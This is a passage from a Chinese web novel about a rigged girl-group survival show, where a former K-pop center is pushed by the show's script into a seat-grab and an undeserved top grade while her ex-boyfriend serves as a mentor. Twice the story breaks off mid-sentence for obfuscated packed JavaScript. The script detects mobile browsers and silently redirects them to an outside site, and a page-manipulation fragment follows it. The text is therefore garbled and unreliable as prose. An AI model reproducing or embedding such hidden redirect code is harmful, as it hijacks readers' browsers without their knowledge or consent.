童夏月参加这个节目就是冲着出道来的，在来到这个节目之前，她分析过所有练习生中，最有竞争力之一的人就是沈亦凝。 虽说目前沈亦凝在网络上风评不太好，但是娱乐圈就是这样，几乎每个明星都会经历被黑的一段时间，这并没有什么大不了的。 毕竟她们混娱乐圈的人属于是公众人物，一些普通得言行会被放大，特别是没背景的人闯荡娱乐圈，会被黑得很惨。 童夏月是混娱乐圈的，自然也知道只要没有犯一些选择性错误，一些被黑得再惨的人，都会有翻身的机会。 网上风向永远都是一阵一阵的，内娱不少风评由差转好的人。 童夏月也没有因为沈亦凝目前的风评差而轻视她，反而还有点儿忌惮。 毕竟是从韩娱里杀出来的前辈，绝对有实力，更何况……沈亦凝长得一点儿都不差劲。 像沈亦凝这种有实力有颜值的人，在内娱里很有翻红的潜力，她的公司给力一点儿，估计节目结束她风评就变了。 可如今此人做出“抢座”这种行为，童夏月不着痕迹地挑了挑眉，心里偷偷给沈亦凝贴上了一个“愚蠢”的标签。 明明可以走低调路线，靠实力和颜值慢慢征服粉丝，却偏偏选择了最铤而走险地博取眼球的方式。 真是美貌且无脑。 童夏月打算顺水推舟一把。 她沉默了一会儿，从座位上站了起来，“那你坐吧，我下去坐。” 就这么轻而易举地、特别好脾气地把位置让出来了。 没有一点儿火药味。 直播间里期待的“打起来，你们都给我打起来”、“battle，我要看神仙battle”等并没有发生。 大家伙儿眼睁睁地看着童夏月起身离开王之座，从1号位坐到了2号位。 童夏月也不一定真要争这个位置，毕竟这只是自我评级而已，又不是最终评级，坐不坐都一样。 何必要争？ 她刚才坐了一下，已经得到了一阵关注和流量，现在把位置让出去也无伤大雅，说不定还能得到一小波怜爱粉。 如童夏月所愿，直播间都已经快打起来了： 【就这么直接把座位让出去了？童夏月你还是太好脾气了。】 【不让能怎么样，难不成还打一架？】 【是我我就不让，这是我先坐的位置，为什么要让，syn避雷避雷避雷。】 【但我真吃syn她的颜，这事儿也不算很严重吧，大家是不是太小题大做了？】 【直播间90％都在骂她，合理怀疑她是不是被人请水军专门黑了。】 【谁会花这种精力和金钱去黑一个十八线啊，太把自己当回事了吧？】 【网传她人品一般，刚直播没多久就显现出原型了呵呵。】 【只有我比大家伙儿多了一段记忆？这人不是早塌了吗？】 【你是说谈恋爱的事情吧，人家现在没谈不就行了，如果素人时期恋爱也算塌的话，那内娱大部分男的明星都得被抓起来丢出娱乐圈呵呵哒。】 【长这么漂亮，素人时期谈恋爱不是很正常的事情吗……】 【素人时期谈了个恋爱去哪儿都被说，做女明星太难了哈，怎么没见你们去骂祁致呢，别太爱男了，如果这事儿沈亦凝要被钉在耻辱柱上，顺带把祁致也一起骂了吧，买一送一。】 【骂她今天的行为我能理解，只是我不明白赛前素人时期的瓜有啥好掰扯的……】 【素人时期谈恋爱确实不严重，但是你要被爆出来现在二十多岁事业上升期谈，给我双双打包丢出火星，不管是谁不管男女都是降龙十八掌。】 【我说的又不是谈恋爱的事，是她当初退团SunriseTribe。】 【说不定退团有什么难言之隐。】 【能有什么难言之隐啊，在团内时名气资源top，SunriseTribe亏待谁都不可能亏待她。】 【好糊的团，听都没听过。】 【SunriseTribe还糊？你没听过不代表这个团没火过，混kpop的人都知道这个团吧！】 这次自我评级，最引人注目的就是童夏月和沈亦凝两个人。只不过一人得到广泛同情，一人身上争议颇多。 沈亦凝作为当事人，坐在王之座上，撑着下巴，开始陷入了忧愁。 只能够默默地在心里祈祷着：直播间的朋友们，对我轻点儿骂吧！ 百名练习生陆续落座。 没有再有如此抓马的事情发生了。 可就在众人都以为自我评级这事儿就要落下帷幕的时候，坐在“5”号位的温南乔却慢悠悠地站了起来。 众人愣住，视线齐刷刷地落在温南乔身上，都在震惊，“温南乔这是要做什么？” 策划导演也傻了。 温南乔身上可没有剧本，她做的每一件事都不在他们的掌控之下。 镜头缓缓聚焦到温南乔身上。 温南乔就这么当着众人和直播间观众的面，转身走到沈亦凝面前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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节目组见有热度，再加上温氏是这个节目赞助商之一，没办法得罪。 于是还真就让王之座上坐了两个人。 自我评级完毕。 凌杭去而复返，握着麦克风开始继续控场，“百名练习生目前已评级完毕，第二个环节就是集体考核。再考核之前，可以欣赏一下四个导师的舞台表演。” 练习生人群里爆发了欢呼声，“哇哦哇哦！！可以看到免费演唱会咯～” 第一个出场表演的是Rap导师贺彦。 贺彦在舞台上表演，沈亦凝没忍住在下边开小差，她虽然跟温南乔不是很熟悉，甚至在此之前从来没有打过任何交道，但是她也能够看得出来，温南乔对她没有恶意，否则也不会替她解围。 沈亦凝抢座童夏月，是因为剧本在身，不得已而为之。 不过她相信温南乔不是，她觉得温南乔绝对是在替她解围。 可为什么温南乔要这么做？ 沈亦凝想不明白，于是没忍住压低声音问，“你难不成也拿了剧本？” “什么剧本？”温南乔偏过头来，漂亮的双眸弯成了个小月牙，“我没有那个东西。” 沈亦凝：“？” 没有剧本，那怎么会冒着被骂的风险给她解围，这总不可能是抢座位图个开心随意就抢了吧。 沈亦凝有些困惑，“那你怎么会抢座。” 温南乔继续狡黠一笑，“你猜。” 这压根就猜不出来啊。 温南乔也不卖关子了，“想抢就抢咯。” “你不怕被骂吗？” 温南乔不答反问反问，“那你呢，知道这样做会被骂，为什么还要抢王座？” “……”沈亦凝不知道怎么回答，总不能直接跟她说是“是剧本让我这么做的”这种话吧。 温南乔见她沉默，也不继续深问，而是主动开口，“我家有钱，参加综艺就图个开心，不在乎这个。” 说着温南乔又给她甩了个wink，“大不了就两个人一起被骂呗。” 沈亦凝有片刻的怔然。 就像在一个人身处孤立无援的境地时，突然有那么一个人出现，对你伸出了一只手，并且跟你说“有我陪你”。 沈亦凝现在心里就是这样的一种感觉。 很温暖，很安心。 沈亦凝不理解温南乔为何会主动对她示好。 温南乔也并不打算解释，她只是说，“期待你今天的舞台哦。” “期待我的舞台？那你可能要失望了。”沈亦凝说，“我舞台很差劲。” “怎么会，”温南乔扭头看她，“小队长对自己难道就这么没有信心吗？” 小、队、长。 听到这个熟悉又陌生的称呼，沈亦凝竟然有这么一瞬间的恍惚。 已经好多年没有人这么叫过她了。 沈亦凝对此也就只能想到一个可能性，“你知道SunriseTribe？” 她曾经是韩娱女团SunriseTribe的Center兼队长，粉丝和成员有时候会喊她名字，或者直接称呼她“小队长”。 如果不认识她曾经的这个团队，怎么可能会称呼她这个名字。 温南乔没承认也没否认。 不知道是因为不愿意回答，还是因为现在突然拔高的尖叫声把沈亦凝刚才的疑问给完全淹没掉，导致温南乔压根就没听见她刚才说了什么。 “祁致导师太帅辣！！！” 沈亦凝被这尖叫声吓得瞬间回神，她的视线往舞台上看过去。 发现Rap导师贺彦不知道什么时候下台了，现在站在台上的是祁致。 而且还是蓝发造型的祁致。 舞台中央，年轻男人一头惹眼的蓝发，眉眼在冷色调发色的映衬下更显精致立体，举手投足间自带疏离又温柔的气质。 蓝发与肌肤的对比愈发鲜明，仿佛冰雪初融时的春日，修剪利落的眉峰在蓝发的掩映下更显英气，宛如雪山上的刀刃，凌厉而张扬。 他伸手握着面前的蓝色话筒，唇角轻勾，有种从日系少年漫画的清新感。 舒缓的前奏缓缓响起，低沉清澈的声音通过麦克风和音响，穿过台上台下的人声鼎沸，缓缓落入沈亦凝的耳朵里。 “凌晨三点的琴键发烫，少年的影子在墙上生长。 汗水浸透的乐谱泛黄，却把每个音符都写成诗行。” “我沿着光的轨迹生长，把挫折当作年轮刻在心上。 多少次跌倒再爬起，直到日落线降临。 Iwillsay，I’mheretostay,Iwon’tbreak。” 他很适合舞台，即使只是一场直播穿插表演，场风稳得就像是在开了一场个人演唱会一样。 直播间炸了。 【祁致蓝发造型限时返场！】 【这套造型简直就是天神下凡。】 【第一次追星就追了这么帅气且有实力的，是我的福气。】 【我已经是老芝士球了，怎么从来没有听过祁致还有这首歌？他没公开发行过这首歌吧，否则我个资深歌迷怎么从来没听过，难不成我是一个假粉丝吗？】 【我也没听过，我感觉我也是个假粉丝。难不成这是还没发行的新歌？】 【但歌词和旋律都比较青涩，曲风和现在大相径庭……有点像早期的歌。不想是现在这个阶段创作出来的。】 【但还是很好听啊！！很青春有活力好不好！】 在场的其它练习生，有不少听过祁致的歌，甚至是他的fans，都表示好像没听过这首歌。 和直播间的反应一样，下意识觉得——这难不成是祁致的新歌？ 在场的人只有沈亦凝一个人知道，这首《UnbreakableWings》并不是他的新歌。 准确来说，是祁致自主作词作曲的第一首歌，创作在他的十七岁。 她曾经在和他初次见面时的那家“极光”小酒馆里，听他唱过。 歌词直白大胆，又带有几分少年感。 在场的所有人都抬着头认真观看他的表演，唯独只有沈亦凝垂下了脑袋。 脑海里回想起那段很遥远的时光。 这首歌其实还有最初版本，现在祁致在台上演唱的版本是后来两个人凑在一起反复研究修改之后的成果。 这首歌后来投了公司被选中，但是祁致却没有选择把这首歌发行出去。 她问他为什么？ 他懒洋洋地斜靠在沙发上，长臂一伸直接把她给搂进怀里。 嘴角慢慢地、不自觉地渐渐加深弧度。 “一一，”他忽然启唇，轻唤她的小名，“这首歌是你帮我改的，我得把它保留下来。” 他的声音逐渐温柔，“这首歌我以后只唱给你听。” 沈亦凝笑话他，“什么啊，这首歌又不是情歌，不适合送给女朋友听吧？” “以后会给你写专属情歌的。” “那现在这首呢？” “我要私藏，不给听。” 她逗他。“那万一我们分手？” “也不给听。” 祁致突然看向她，“除非我们之间永远不可能了。” 那年夏天炎热又漫长，柏油路蒸腾着朦胧的热浪，梧桐树的叶子被晒得发亮，蝉鸣嘶哑从清晨到黄昏，一浪高过一浪。 他们还单纯地以为只要相爱，在一起就能是永远。 一曲终了，掌声雷鸣。 在一众欢呼声中，沈亦凝抬起头，混迹在人群中面无表情地鼓掌。 她的脑海里不停回荡起从前的那句“除非我们之间永远不可能了”。 沈亦凝唇角绷直，心情像是冰镇过的酸梅汁，入口却酸得人眼眶发烫，喉咙里凝结着化不开的涩。 她下意识伸手摸了一下兜里的药膏，冰冰凉凉地贴在温热掌心里，触感是如此清晰。 在那个蒙面工作人员把药膏递给她的那一瞬间，她第一反应就猜出来绝对是祁致给她带的。 实话实说，她脑海里浮现过一个可怕的念头——祁致会不会还放不下她，就像她现在偶尔还会记挂起他一样。 但现在看来，他对她的好，也许只是出自于成年人的体面，以及对曾经亲密且爱过的前任下意识的帮助和关心。 毕竟曾经喜欢过，落魄时帮助一下很正常吧。 但也仅此而已。 沈亦凝，你忘记当初看到对方那个采访吗，他说他已经往前走了，你为什么还要这么不争气地总是想起过去？ 你要记住。 你们之间已经永远不可能了。 且不说当年他们早就分手了，就算是当初坚持到现在没分，两人现在都在拼事业的最好年纪，也迟早会分开的。 如果我们还有未来…… 没有如果。 not‘if’。 23. 极限捧杀 导师热场表演结束，直接抓住了在场所有人和直播间观众的眼球。 热搜被四个导师的精彩表演给锁定霸占。 再加上温南乔出手，把“抢座”这件事情从波涛汹涌给直接娱乐化，并且吸引了大部分被骂的火力，即使有黑子想要刻意去就这事儿黑沈亦凝，也完全没有办法。 大家很快把这事儿给忘记了。 节目组不禁觉得有点儿可惜。 特别是策划导演，看到网络上突转的风评，不禁有些头疼，“这都是什么情况啊，怎么半路杀出个温南乔。” “节目突发情况，我们也没办法。”制片人叹了一口气说，“更何况温南乔背后是整个温氏集团，没办法得罪，更没办法安插剧本给她。” “算了。”策划导演大手一挥，“下个环节还能继续吸引眼球，不着急。” 毕竟好戏还在后头。 他赌了这么多个练习生，总有这么几个能火，顺带带着节目也好起来的。 - “第三个环节：集体评级。”凌杭作为总制作人，这个时候肯定要重新举着话筒回到台上，继续控场。 这也是一种变相地给他更多的镜头。 他脸上带着无可挑剔的笑容，“我相信大家对这个环节都是特别地期待，只不过这一季跟上一季很不一样，上一季的集体评级可以选择自己擅长的领域尽情展现自己，而这一季百名练习生将表演同一首歌曲和舞蹈，那就是我们《破茧出道营》的主题曲。” 接着，凌杭向每个人宣读了集体评级的规则。 集体评级的考核内容是主题曲《ChasetheGlory》，这首考核曲目是由几个导师共同编的舞台，包含了唱跳rap。 所有练习生将分为十组，每组10人，10人成排，共同完成这个舞台。 凌杭总结，“选择同一首歌曲才能够更好比较，高下立见。当所有练习生表演同一首歌的时候，其实就会有对比，差距有可能会特别地明显。” “初舞台评级正式开始。” 【什么鬼，所有练习生在首评级舞台都只跳同一个舞蹈？是节目组疯了还是我疯了。】 【呵呵哒，可是这样真的有看点吗？节目组策划是脑子被僵尸吃了吧（冷笑）】 【我想看每个练习生拿出自己的个人特色，我想看炸舞台，所有人都表演同一首考核曲目，难道真的不会审美疲劳吗？】 【反正我审美疲劳了，一组十人，十组，每组表演十分钟都要一个半小时，一个半小时听同一首歌，我感觉会无聊死。】 【可是凌杭不是都说了吗，同一首歌才能够更好看出一群人之间的差异啊。】 【但上一季每个练习生表演不一样的歌，也能够评级唉，都表演同一首歌，对一些有自己独特风格的选手没办法被大家看见。】 【抱歉，这个节目的初衷是选女团！什么叫做女团懂不懂，肯定是要看综合实力呀，拥有强烈个人特色但是综合实力一般的，我建议单飞。】 【其实有利有弊都表演一样的，只能是比大家的练习程度怎么样了，首次评级还算公平吧。】 “……” 初舞台评级这事儿还没开始，就在网络上掀起了很大的争议。 台下的练习生也纷纷很紧张。 虽说节目组已经给了她们一个月的练习时长，但是她们还是会害怕在台上出现失误。 练习生们交头接耳，小声分析起来，“看来这次评级，看重舞蹈能力要远大于Vocal。” 这个结论其实从规则就可以看得出来。 毕竟十人一组站在舞台上唱跳，那每个人的唱歌部分会没有这么明显，也许会被旁边的人给盖掉。 但是舞蹈不会。 内行人一扫眼过去，基本上就能够看得出来谁跳得好谁跳得差了。 只不过……这该如何分组呢？ 这真的是一件令人头疼的事情。 这个疑问刚浮现在直播间的观众和练习生们的心里时，宋晩照拿起话筒，接替凌杭开始cue接下来的流程。 “练习生分组其实早就已经分好了——” 宋晩照的话都还没有完全说完，直播间就已经有人跳预言家了。 【让我猜一下，练习生分组，该不会是在刚才她们自我评级的时候就已经分好了吧？按座位号分，1——10的一组，11——20一组，每组座位号靠前的站C。】 很明显，这个预言家成功猜对了。 宋晩照继续把剩下的话给说完，“按座位号进行考核，有请选择1至10号的练习生先上台表演。” 【预言家直接刀了。】 【666，其实跟我猜的差不多，这真是激动人心的时刻，一开始就是十个自信小宝开场表演，大家猜一下这十个人里会不会有首A。】 【我也期待住了哈哈哈……】 本来直播间里很少有人议论沈亦凝，但是在十个练习生按照规则上台并排选好占位站好，准备开始表演的时候，直播间里开始疯了一般，开始疯狂刷屏沈亦凝。 甚至不是骂她的，而是清一色的夸赞。 除了少部分真心实意的路人和粉丝在努力安利之外，大部分都是节目组请的水军，在借着这个机会努力捧杀沈亦凝。 现在把她的能力夸得有多么的天花乱坠，待到她上台表演时，就会相应地摔得有多么惨。 【听说这组有个大佬。】 【谁？】 【还能是谁，现在坐在王座上的左边的那位，曾经韩娱出道的女团Center，大家或许不认识她，科普一下，她曾经在海外真挺火的，也很有实力，否则怎么可能能够如此自信，自我评级就直接坐在王座上。】 【抛开一些有色眼镜，以及不去看她现在铺天盖地的黑料，单纯只议论这人的舞台能力，是真的很绝。】 【相信她吧，绝对能够拿下首A！！】 节目组的水军甚至还十分夸张地在键盘敲下，“她绝对是这次考核的no.1！！” 这下这行字之后翘起了嘴角。 看吧，一个通宵训练而已，就不信沈亦凝是个什么神人，能够训练得多成熟，现在夸死她，等她表演的时候，就看着她从云端里摔下来。 十人组在台上站好。 沈亦凝站在最c位的位置，她的左手边是选择2号座的童夏月，右手边是选择3号座的另一个女生。 身旁依次排开几个人在身边。 以她为C的站位，灯光落在她身上。 她目视前方，视线锁定了一个身影。 那个身影不是别人。 而是十九岁的刚出道的自己。 那个时候的她终于站在聚光灯下，被众人簇拥上C位。 她终于出道了，是那样意气风发、风光无限。 当时的她有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196688|163232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底气，自信满满地拿着话筒，对着台下所有为她而来的粉丝说，“我会展现最好的舞台，让大家都更喜欢我。” 如今物是人非。 沈亦凝好不容易又重新站回舞台上，却说不出那句话来了，因为她知道，这次舞台肯定会让大家失望的。 她拼尽全力想要重新回到这个舞台，结果却发现，虽然她的人站在灯光下，但此时的舞台却并不再由她所掌控。 她有种无力感。 意识逐渐回拢，眼前自己的虚影消失不见，她这才注意到坐在台下的四个导师，每个人都在看着台上的她们。 沈亦凝的视线在台下几个人身上飘过，而后不受控制地落到了祁致身上。 他现在依旧是那副舞台造型，顶着一头惹眼的蓝发，高贵得像个小王子。比他的蓝发更耀眼的其实是他深邃的眼。 一人台上一人台下。 又是这样熟悉的站位。他也曾无数次坐在台下看她表演，从前她的每次公演他都会在，风雨无阻从不缺席。 这么多年过去，她还是习惯性去寻找他的身影。 而与此同时，他也在看她。 虽说台下所有人的眼神都盯着台上准备表演的十个人，但是沈亦凝就是有种错觉。 祁致的目光就只锁定了她一个人。 沈亦凝不受控制地眨了眨眼，却发现祁致的目光已经从她身上移开了，就好像是从头到尾就没有落在她身上过。 但似有魔力一般。 沈亦凝竟觉得心里竟神奇地没有那么紧张了。 宋晩照继续走流程，拿起话筒问，“你们都已经准备好了吗？” 沈亦凝沉默着，并没有回答，只听到耳边响起其他人的回答——准备好了。 少数服从多数。 音乐响起，考核正式开始。 考核刚开始，所有人都在安安静静地观看表演。 考核进行一分钟后，大家突然之间发现了不太对劲。 【666，一分钟前弹幕跟被控评了一样，到处吹这个沈亦凝实力有多强，却没想到居然是一坨翔。】 【翔倒不至于，这水平处于中等，能够看出有舞蹈基础，几个动作做的很流畅，也没出错，但是……感觉好不熟练啊。】 【不是刚才都在吹她曾经出道过吗，还是c位出道，结果就这水平？真的是笑掉大牙。】 【啊我服了，这种实力到底她是有什么勇气抢王座的啊，回家吧，别比赛了，回家行不行。】 【到底当初是她主动退团的，还是被公司强制退团的啊，这种实力我是她老板我也不愿意她继续在团待着，太low了。】 【我不是粉丝，之前吃瓜考古了一下她在团时的舞台，挺惊艳的啊，有段时间还是她的舞台路人粉，怎么……直播里是这样的我哭了】 【感觉是太多年没跳舞了，这首主题曲又不难，结果她跳成这样呵呵哒，好奇她的评级。】 【童夏月是这组的MVP，加油冲啊宝。】 一曲终。 台下的表情各异。 每个练习生的评级将由四个导师讨论决定，并由祁致来宣布最终结果。 贺彦是四个导师里名气最低的，自然也拿了节目组塞的剧本。 在评级的时候，他正在沈亦凝一栏写下个“C”，却在此时，耳麦里传来导演的声音。 ——“童夏月评级B，沈亦凝评级A。” 24. 最佳舞台 选手初舞台评级的最终结果宣布本来就是一段十分激动人心的时刻，也是直播的一大看点之一。 此时的直播间已经乱成一锅粥： 【为什么都已经表演结束一分钟了，还没开始宣布最终评级结果。】 【又吊我们胃口是吧？快点快点快点宣布结果！！】 【其实评级结果很显而易见啊，这组的Numberone一看就是童夏月，她表现不错，给个A真的不过分，我们观众又不是瞎子，谁表现得好谁表现不好，都能够看得出来。】 【只不过我觉得首A应该不会给的这么的快，毕竟这才第一组表演，按照往常经验，首组表演比较吃亏一般都会被压分的，除非真的很有实力，但是实话实说这一组实力确实挺一般，我个人觉得除了童夏月舞台表现不错可能拿A，其他人都没戏……】 【不是在节目组播出之前，都在传沈亦凝是皇族吗，就这实力节目组怎么可能保她呀，敢给她C以上的级别，她绝对会被骂死。】 【好搞笑，刚才还一堆弹幕在刷syn曾经出道过，没想到居然在初舞台表现得这么垃圾，主题曲也没有很难吧都跳成这样……她当初到底是怎么出道的？】 【其实个人觉得童夏月还不一定能拿A，表现一般的syn也不一定会评级很低，毕竟传syn是保皇也不是一天两天了。我个人理解的保皇是：实力强就站C多给镜头，实力弱就疯狂营销。syn初舞台又是站C又是录制前营销通稿就满天飞的……如果这次syn拿到了比较高的评级，那我绝对要雷死她。】 【……】 第一轮十人组表演结束之后，便乖巧地站成一排，等待台下四名导师的评级。 凌杭和宋晚照都是男女团专业出身，在这方面属于比较专业的，两人一气呵成没有丝毫犹豫，直接在评级表上写下了最终结果，在旁边悠哉悠哉地等待旁边两个人。 在等待的过程中，凌杭和宋晚照还交头接耳低声讨论了一番。 无形之中让他们的cp粉在原地兴奋地狂欢了一波。 凌杭点评了一下总体表演，宋晚照则着重夸了一下童夏月舞蹈动作掌握得很不错。 两人身上都没有剧本，现在做出的反应都是最真实的状态。 【童夏月被女神夸了，感觉评级真的不会低。】 【夏月宝宝冲啊，争取拿下第一个首A，扬眉吐气一下OK！】 祁致则没动笔，也没说话，更没看台上的几个人，只是面无表情地盯着放在自己面前的评价表，一副若有所思的样子。 而贺彦则陷入了漫长的纠结，没忍住在心里默默地骂了一句国粹。 这都什么事儿啊。 节目组是疯了吗，给他一个这样的剧本走向，给童夏月评B还能说得过去，给沈亦凝评A，节目组的热度是有了，但是贺彦和沈亦凝本人绝对会被喷出翔。 总之贺彦此时是一整个大无语的表情，也真心觉得这个节目的剧本策划实在是太low了，只会总是尽可能地制造冲突和矛盾，除此之外没有半点儿新意。 没错，贺彦也是拿了剧本的人之一。 其实内娱综艺不可避免地都会有剧本或者台本的存在，因为制作方需要保证节目结构、时长和内容的可看性，完全零剧本的综艺是压根不可能存在的。 像《破茧出道营》这种竞技或选秀类节目，规则和流程通常是公开的，剧本痕迹较弱，但舞台表演、评委点评等环节可操作空间却依旧还是很大的。 即使在观众看来，所有练习生们在初舞台评级的时候表演同一首歌曲是十分公平的。 可是实际上，这种公平只是表面上公平。 就像是高考，虽说大部分人都在高喊着“高考是最公平公正的一次机会”，可实际上真的是这样吗？每个人都必须承认即使每个考生考的试题一模一样，每个考生的家庭背景、经济条件、受教育资源等却都不一样。 这只是一场看似公平的游戏，可这个世界上本来就不可能会存在真正的公平。 同理初舞台评级，也仅仅只是看似公平而已。 所有练习生们来参加这个综艺，就像是被丢入了一所迷宫。 在迷宫的入口处，有人握着指南针和手电筒，有人仅凭直觉前行，而有人早已拿到了迷宫的设计图纸。当握指南针的人从容避开陷阱，凭直觉的人在死胡同里反复打转，撞得头破血流，拿图纸的人早已抵达出口。 这场看似是个人实力的较量，最终成了资本之间的博弈。 在看似公平的表皮之下，节目组可以通过一些暗箱操作，让某些练习生的练习时长和其他人不一样。 大部分练习生练习主题曲的时长都是一个月，小部分被节目组押宝能火的练习生却是两个月甚至更久。 而某些被献祭的练习生，就像是沈亦凝，练习时长甚至只有丧心病狂的一个晚上。 内幕不仅局限于此，表演结束后的评委评级，看起来相对公正，实际上也并非如此。 对于一些有话题性的选手（如明星亲属、网红转型等），制作方可能希望通过评委的高打分或特殊评价来吸引关注，推动其晋级以增加节目热度。 甚至节目组会提前“规划”选手的晋级路线，评委的打分需配合这一策略，例如在关键赛段让高人气选手获得高分，确保其留在节目中。 就像童夏月等星二代。 而像某些没有背景，黑料又多的选手，一开始就被设置成炮灰和牺牲品的选手。 自然评委在对这类选手进行评分的时候，都会故意对此压分。 这类选手就像沈亦凝。 只不过高分评价送保皇族出道，故意压低分让炮灰选手淘汰这个手段实在是太low太明显。 就像此时给童夏月评A，沈亦凝评C甚至更差，顺应了民意也达到了节目组保真正皇族的初衷。 但这样就少了几分争议和噱头。 于是《破茧出道营》的节目组不打算走寻常路。 即使不带任何有色眼镜、客观来看这初舞台第一组的这10个人的表现，都是童夏月的表现最为优秀。 而沈亦凝，表演说不上差更说不上好，只能说是中规中矩，拿个C都已经勉勉强强。 节目组却硬要倒反天罡，非要让沈亦凝拿到高评价不可，只为了能够吸引流量。 而既然节目组已经在练习时长这里做了手脚，下一步肯定要从导师身上下手了。 只不过有时候节目组耗尽脑汁写剧本，也并不代表所有艺人都会买账。 像凌杭和宋晚照，都不可能会被所谓的剧本捆绑。 而像祁致这种断层流量，就更不可能老老实实照着节目组给的剧本走了。 毕竟当红一线艺人注重自身在作品中的话语权，希望通过真实的言行展现个性，一味跟着综艺剧本走容易缺少一些“真实性”。 再加上他们已经火了，没必要在综艺上演戏故意制作噱头替自己吸引这种过分拥有争议性的流量。 四个导师评委中唯一的软柿子就是贺彦，也是节目组唯一可以拿捏的。 贺彦是个rapper歌手，rap本来就是一种比较小众的音乐，虽然他在说唱圈内名气很高，但是受众和粉丝并不多。 前几年贺彦参加了一档说唱比赛，小小地爆火了一把，然而就像是昙花一现，现在他的热度已经开始慢慢下降。 为了能够再次翻红，贺彦好不容易签下《破茧出道营》这个节目，而其它三位都是节目组求着来录制的。 即使都是导师，表面看起来一样的风光，实际上的待遇却天差地别。贺彦自然没有办法像其它三个导师那样硬气。 只不过为了防止剧本痕迹太过明显，大多数情况下，贺彦在录制综艺的过程中都是完全自由的，节目组只会在必要时会提醒贺彦在某个环节按剧本走。 按照内娱综艺节目的一般尿性，给出来的剧本绝对刺激又变态。 贺彦即使十分清楚这么做，也许会给他个人带来一些争议和负面影响，但是贺彦话语权并不高，为了提升曝光，就不得不接受导演给他安排的剧本。 于是贺彦在听到耳麦里传来导演说的那句“童夏月评级B，沈亦凝评级A”时，他愣了一瞬，疑惑地皱紧眉头，知道自己绝对要完蛋了。 被网友骂是肯定的。 毕竟今天在直播里观看综艺初评级的观众和在场练习生都并不是傻子，都能够看得出来，本场最佳是童夏月。 即使童夏月去不了A班，那也绝对轮不到沈亦凝去。 因为沈亦凝今天的舞台的确有点儿过于僵硬，看起来像只训练了几天就匆匆上场表演的那种。 如此轻而易举把首A评给沈亦凝，贺彦真的害怕会被骂死啊。 贺彦低头用笔在“沈亦凝”一栏旁边已经写下的“C”划掉，重新改成“A”，控制不住自己的身体，小幅度的扭头，而后快速瞥了祁致一眼。 贺彦自己也不知道自己为什么会如此莫名其妙地偏头看祁致一眼，大概是因为前来录制的前几天他还在网上吃到了沈亦凝的恋情瓜，虽说这份恋情已经是陈年旧事，都快要落灰结蜘蛛网了，但此时此刻他就是莫名其妙记起来了。 他偏头看祁致的那一眼，心里百转千回，似乎在对着祁致咆哮质问： ——丫的祁致，你前女友真的是保皇啊？节目组是真的打算硬捧她啊？ ——你是她前男友，你说句话啊，我到底应该怎么办！ ——我快要被你前女友和节目组坑死了，她曾经不是专业女团出身的吗，怎么今天表现得这么差？Lookinmyeyes，回答我！ 总之这匆匆一眼实在是包含了太多的情绪，十分复杂。 但上帝作证，贺彦也没有其它特别的意思，只不过节目组的摄像头还特别搞事，直接拉了一个近距离镜头给他。 再加上丝毫不夸张地说，部分看直播的网友带着放大镜和显微镜的，即使贺彦刚才只是小幅度地偏头看了祁致一秒钟，却依旧被网友们捕捉到了贺彦的这个小动作。 网友们对此捕风捉影，进行了各种各样离谱的深度分析。 【是我刚才眼花了吗，为什么我好像看到贺彦拿笔改了一下自己面前的评委卡纸，又有点儿小心翼翼地看了一眼祁致。】 【楼上的姐妹，你不是一个人，因为我也看到了！！】 【为什么在导师独立评级的时候，贺彦会莫名其妙看一眼祁致啊，而且那个眼神有点儿意味深长。】 【该不会是因为某人在吧，毕竟某人跟祁致是前任关系，打分的时候顾及一下也很正常。】 【让我大胆猜测一下，贺彦会不会看在祁致的面子上给syn打高分。】 【打你妹的高分啊，贺彦很老实的一个人好吧绝对打分公正，再加上两个人早就没有任何关系了，那段感情都已经结束这么久了，别捆绑了好吧。】 【666，一些网友们的想象力真的是不要太强了，贺彦说不定是眼睛抽筋了，往祁致所在的方向抽了一下，就被你们曲解成这样。】 【对啊，我们贺彦的眼睛抽搐一下实在是太正常了，跟某人没有半点关系，我们相信每个评委打分都是公平公正的OK？】 【或许贺彦只是单纯对某个练习生的评级拿捏不准，想要跟祁致交流一下呢？就被大家曲解成这个样子，真是服了。能不能别刷“前女友”这个标签了，再说一百遍，别给自己加戏，早就没可能了！】 直播间的众人们正吵架吵得热火朝天，却在下一秒看到了十分惊人的一幕—— 宋晚照左手边是凌杭，右手边是贺彦，她在跟凌杭交流完之后，发现自己跟凌杭对练习生们的评级大差不差，偏头瞥了一眼贺彦的评价表，有些吃惊道，“A？” 语气中带着几分质疑，瞳孔也猛地放大。 练习生们看到了宋晚照的反应，纷纷交头接耳道，“我去，贺导师的评级里有A！究竟是谁啊，让宋导师这么吃惊。” 直播间又开始跳预言家了。 【我靠，第一组真的有导师给A啊，不过给A也正常，不正常的是，我女神怎么会是这样的反应。】 【我就说吧，贺彦刚才绝对改评价了。】 【贺彦改完之后还瞥了一眼祁致，神色十分复杂。】 【笑死，能够让女神这么吃惊这个“A”的评价，绝对不可能是童夏月。】 【大胆一点，是保皇syn。】 【再大胆一点，贺彦突然改评价，会不会是看在祁致的面子上，而……懂得都懂，这过期糖也不知道能不能嗑。】 【你都说这是过期糖了，还嗑呢，也不怕把自己毒死。】 【祁致唯粉真苦，正主好不容易参加个综艺，结果有个前女友一直阴魂不散地缠着她，还有一群傻逼在捆绑，还得看着自家哥哥给她宣布最终评级结果，结果网上一堆傻逼还在捡各种巧合乱嗑两人cp，真痛苦！！！想杀人！！】 【如果沈亦凝是A，那我就分分钟切腹自尽，如果让祁致来宣布沈亦凝是A，那我就抱起键盘跟沈亦凝同归于尽！！】 